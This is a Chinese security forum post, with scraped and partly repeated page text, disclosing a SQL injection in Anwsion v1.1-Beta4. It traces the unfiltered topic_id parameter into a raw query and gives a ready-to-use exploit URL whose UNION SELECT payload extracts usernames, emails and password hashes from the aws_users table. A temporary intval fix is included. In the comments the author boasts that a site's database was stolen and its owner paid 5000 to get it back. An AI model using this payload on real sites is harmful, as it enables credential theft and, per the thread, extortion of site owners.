Anwsion(v1.1-Beta4) 注入

2012-10-26 13:49:59 15 Rices 3705

\app\home\main.php(85):

        public function explore_action()

        {

                // 省略........... By.Rices -> Forum: T00ls.Net -> Blog: Rices.so

                if ($_GET['category'])

                {

                        if (is_numeric($_GET['category'])) //据说以前这里也可以注射  所以被isnum了..

                        {

                                $category_info = $this->model('system')->get_category_info($_GET['category']);

                        }

                        /*

                                        省略......

                                */

                // 注射开始! By.Rices -> Forum: T00ls.Net -> Blog: Rices.so

                if (TPL::is_output('block/content_question.tpl.htm', 'home/explore'))

                {

                        if (! $_GET['sort_type'])

                        {

                                $_GET['sort_type'] = 'new';

                        }

 

                        if ($_GET['sort_type'] == 'unresponsive')

                        {

                                $_GET['answer_count'] = '0';

                        }

                        $question_list = $this->model('question')->get_questions_list($_GET['page'], get_setting('contents_per_page'), $_GET['sort_type'], $_GET['topic_id'], $this->user_id, $category_info['id'], $_GET['answer_count'], $_GET['day']);

                        //$_GET['topic_id']直接带入了 fvck.fvck! By.Rices -> Forum: T00ls.Net -> Blog: Rices.so

                        TPL::assign('question_list', $question_list);

                        TPL::assign('question_list_bit', TPL::output('question/ajax/list', false));

         // 省略....

$this->model('question')->get_questions_list \models\question.php(63):

        public function get_questions_list($page = 1, $pre_page = 10, $sort = 'hot', $topic_id = 0, $uid = null, $category_id = null, $answer_count = null, $day = 30)

        {

                $uid = intval($uid);

 

                $user_id_list = array();

 

                $user_info_list = array();

                $user_list = array();

                $question_info_list = array();

                $question_list = array();

                $limit = calc_page_limit($page, $pre_page);

 

                if ($sort == 'hot')

                {

                        $question_info_list = $this->get_hot_question($category_id, $topic_id, $limit, $day);

                                                //继续带入$topic_id  By.Rices -> Forum: T00ls.Net -> Blog: Rices.so

                }

                                //省略...... By.Rices -> Forum: T00ls.Net -> Blog: Rices.so

get_hot_question \models\question.php(216):

        public function get_hot_question($category_id = 0, $topic_id = null, $limit = '0, 10', $day = 30)

        {

                $day = intval($day);

 

                if (!$day)

                {

                        $add_time = '0';

                }

                else if ($day == 1)

                {

                        $add_time = strtotime('-1 day');

                }

                else

                {

                        $add_time = strtotime('-' . $day . 'day');

                }

 

                if ($category_id)

                {

                        $question_all = $this->fetch_all('question', "add_time > " . $add_time . " AND focus_count > 0 AND agree_count > 0 AND answer_count > 0 AND category_id IN(" . implode(',', $this->model('system')->get_category_with_child_ids('question', $category_id)) . ')');

 

                }

                else if ($topic_id)// 开始了

                {

                        $topic_ids = array();

 

                        if (is_array($topic_id))

                        {

                                $topic_ids = $topic_id;

                        }

                        else

                        {

                                $topic_ids[] = $topic_id;

                        }

                        //无任何过滤 又带入了get_question_ids_by_topics_ids函数 By.Rices -> Forum: T00ls.Net -> Blog: Rices.so

                        if ($question_ids = $this->model('topic')->get_question_ids_by_topics_ids($topic_ids, 10, null, 'question_id DESC'))

                        {

                                $question_all = $this->fetch_all('question', "add_time > " . $add_time . " AND question_id IN(" . implode(',', $question_ids) . ')', 'popular_value DESC', $limit);

                        }

                }

                else

                {

                        $question_all = $this->fetch_all('question', 'add_time > ' . $add_time, 'popular_value DESC', $limit);

                }

 

                return $question_all;

        }

最终在get_question_ids_by_topics_ids函数入库 \models\topic.php(693):

        function get_question_ids_by_topics_ids($topic_ids, $limit, $where = null, $order = 'update_time DESC')

        {

 

                if (!is_array($topic_ids))

                {

                        $topic_id_in = $topic_ids;

                }

                else

                {

                        $topic_id_in = implode(',', $topic_ids);

                }

                if ($where)

                {

                        $where = ' AND ' . $where;

                }

 

                $_order = explode(' ', $order);

 

                if (!$where AND $_order[0] == 'question_id')

                {

                        $result = $this->query_all("SELECT question_id FROM " . $this->get_table('topic_question') . " WHERE topic_id IN (" . $topic_id_in . ") ORDER BY " . $order, $limit);

// 直接入库执行了, 注射产生~~  By.Rices -> Forum: T00ls.Net -> Blog: Rices.so

                }

                else

                { //省略....

EXP:

http://site/?/home/explore/category?sort_type-hot__answer_count-1__day-1__topic_id-55)%20and%201=2%20union%20select%20concat%28(select%20concat(user_name,0x2D3E,email,0x2D3E,password)%20from%20aws_users%20limit%200,1)%29%23

类别 Web安全

关于作者

Rices154篇文章2133篇回复

function get_question_ids_by_topics_ids($topic_ids, $limit, $where = null, $order = 'update_time DESC') { if (!is_array($topic_ids)) { $topic_id_in = $topic_ids; } else { array_walk_recursive($topic_ids, 'intval_string'); //这里 $topic_id_in = implode(',', $topic_ids); }

if ($sort == 'hot') //肉丝的情况是 sort=hot 如果我等于fvck 呢？ { $question_info_list = $this->get_hot_question($category_id, $topic_id, $limit, $day); }

else { if ($sort == 'unresponsive') { $answer_count = 0; } switch ($sort) { default : $order_key = 'add_time'; break; case 'new' : $order_key = 'update_time'; break; } if ($topic_id) //如果topic_id存在继续射 { $question_info_list = $this->get_question_list_by_topic_ids($topic_id, $limit, $order_key, $category_id, $answer_count); }

if (!$topic_ids) { return false; } if (is_array($topic_ids)) { array_walk_recursive($topic_ids, 'intval_string'); } else { $topic_ids = array($topic_ids); } if ($topic_question = $this->query_all("SELECT DISTINCT question_id FROM " . $this->get_table('topic_question') . " WHERE topic_id IN (" . implode(',', $topic_ids) . ") ORDER BY question_id DESC")) // 又射了~~~ { foreach ($topic_question AS $key => $val) { $question_ids[] = $val['question_id']; } }

评论15次

要评论？请先登录或注册

15楼

Rices
2012-10-28 00:08

急了? 高富帅身份被曝光了吧啊哈哈哈哈哈哈

回复|@ta|踩(0)|顶(0)
14楼

klkcy
2012-10-27 23:02

晕，数据库有什么东西这么重要一开口就5K小心有诈哦。

回复|@ta|踩(0)|顶(0)
13楼

y35u
2012-10-27 22:08

一个个的补催牛逼，会死吗

回复|@ta|踩(0)|顶(0)
12楼

Cond0r
2012-10-27 10:06

吊哈哈

回复|@ta|踩(0)|顶(0)
11楼

粉丿丶兜兜
2012-10-27 00:47

肉丝大牛必须支持~

回复|@ta|踩(0)|顶(0)
10楼

wepeng
2012-10-27 00:44

呵呵，都是大牛、、、

回复|@ta|踩(0)|顶(0)
9楼

Rices
2012-10-27 00:12

他那垃圾站已经被脱裤了刚才才给我打了5000过来要回的数据真是有钱人

回复|@ta|踩(0)|顶(0)
8楼

小'少爷
2012-10-26 21:12

这几天土司好像又火了

回复|@ta|踩(0)|顶(0)
7楼

Cond0r
2012-10-26 21:04

耶稣的站吧，哈哈

回复|@ta|踩(0)|顶(0)
6楼

染血の雪
2012-10-26 19:11

肉丝牛又来送洞了

回复|@ta|踩(0)|顶(0)
5楼

xiaoxiaoabc
2012-10-26 18:17

等会我也报个。

回复|@ta|踩(0)|顶(0)

4楼

冰封

2012-10-26 16:38

不错肉丝大牛威武下载了一套自己看了下发现更新了哈哈不错的官方啊

但是我想说的是官方请补详细点好么···

get_question_list_by_topic_ids 这个函数··

要怎么补？

回复|@ta|踩(0)|顶(0)

3楼

liuda
2012-10-26 16:31

挖洞的好孩子

回复|@ta|踩(0)|顶(0)
2楼

rainer
2012-10-26 15:37

支持下 Rices大牛爆0day

回复|@ta|踩(0)|顶(0)
1楼
Rices
2012-10-26 13:52
补个临时修复办法在\app\home\main.php文件 explore_action函数下添加
$_GET['topic_id'] = intval($_GET['topic_id']);
回复|@ta|踩(0)|顶(0)

Anwsion(v1.1-Beta4) 注入

关于作者

评论15次

急了? 高富帅身份被曝光了吧啊哈哈哈哈哈哈

晕，数据库有什么东西这么重要一开口就5K小心有诈哦。

一个个的补催牛逼，会死吗

吊哈哈

肉丝大牛必须支持~

呵呵，都是大牛、、、

他那垃圾站已经被脱裤了刚才才给我打了5000过来要回的数据真是有钱人

这几天土司好像又火了

耶稣的站吧，哈哈

肉丝牛又来送洞了

等会我也报个。

挖洞的好孩子

支持下 Rices大牛爆0day

补个临时修复办法在\app\home\main.php文件 explore_action函数下添加
`$_GET['topic_id'] = intval($_GET['topic_id']);`

热门文章

安全资讯Godzilla 无文件后门利用 Atlassian Confluence漏洞 CVE-2023-22527

安全资讯致数千人伤亡的寻呼机为何能爆炸？专家：或黑客入侵致电池过载，或内部被对手安装了爆炸物

渗透测试车联网攻击链路图

安全资讯黑客入侵自行车：无线换档系统存在漏洞

最新回复

确实利用空间不大了

哈哈，你这是要别人小三陪你出来玩啊，20 ...

cors主要用作xss的信息外带 csp bypass ...

先pth试一波，不过感觉还是好好分析一下 ...

火绒可以，比较轻量

精华推荐

手机无线我是如何随时随地控制全校宿舍楼大门的

渗透测试JAVA安全 | Classloader：理解与利用一篇就够了

Web安全DedeCMS最新通杀注入之二(buy_action.php)漏洞分析(更新附exp）

渗透测试window应急响应及实战演练

渗透测试postgres注入总结

苹果证实零日攻击攻击macOS系统

增强网络弹性：CISA 红队对美国关键基础设施部门组织的评估的见解

微信活码-Getshell

什么？你想要日车了？

利用websocket进行水坑攻击

Anwsion(v1.1-Beta4) 注入

关于作者

评论15次

急了? 高富帅身份被曝光了吧 啊哈哈哈哈哈哈

晕，数据库有什么东西这么重要一开口就5K小心有诈哦。

一个个的补催牛逼，会死吗

吊 哈哈

肉丝大牛 必须支持~

呵呵，都是大牛、、、

他那垃圾站已经被脱裤了 刚才才给我打了5000过来要回的数据 真是有钱人

这几天土司好像又火了

耶稣的站吧，哈哈

肉丝牛又来送洞了

等会 我也报个。

挖洞的好孩子

支持下 Rices大牛 爆0day

补个临时修复办法 在\app\home\main.php文件 explore_action函数下添加$_GET['topic_id'] = intval($_GET['topic_id']);

热门文章

安全资讯Godzilla 无文件后门利用 Atlassian Confluence漏洞 CVE-2023-22527

安全资讯致数千人伤亡的寻呼机为何能爆炸？专家：或黑客入侵致电池过载，或内部被对手安装了爆炸物

渗透测试车联网攻击链路图

安全资讯黑客入侵自行车：无线换档系统存在漏洞

最新回复

精华推荐

手机无线我是如何随时随地控制全校宿舍楼大门的

渗透测试JAVA安全 | Classloader：理解与利用一篇就够了

Web安全DedeCMS最新通杀注入之二(buy_action.php)漏洞分析(更新附exp）

渗透测试window应急响应及实战演练

渗透测试postgres注入总结

急了? 高富帅身份被曝光了吧啊哈哈哈哈哈哈

吊哈哈

肉丝大牛必须支持~

他那垃圾站已经被脱裤了刚才才给我打了5000过来要回的数据真是有钱人

等会我也报个。

支持下 Rices大牛爆0day

补个临时修复办法在\app\home\main.php文件 explore_action函数下添加
`$_GET['topic_id'] = intval($_GET['topic_id']);`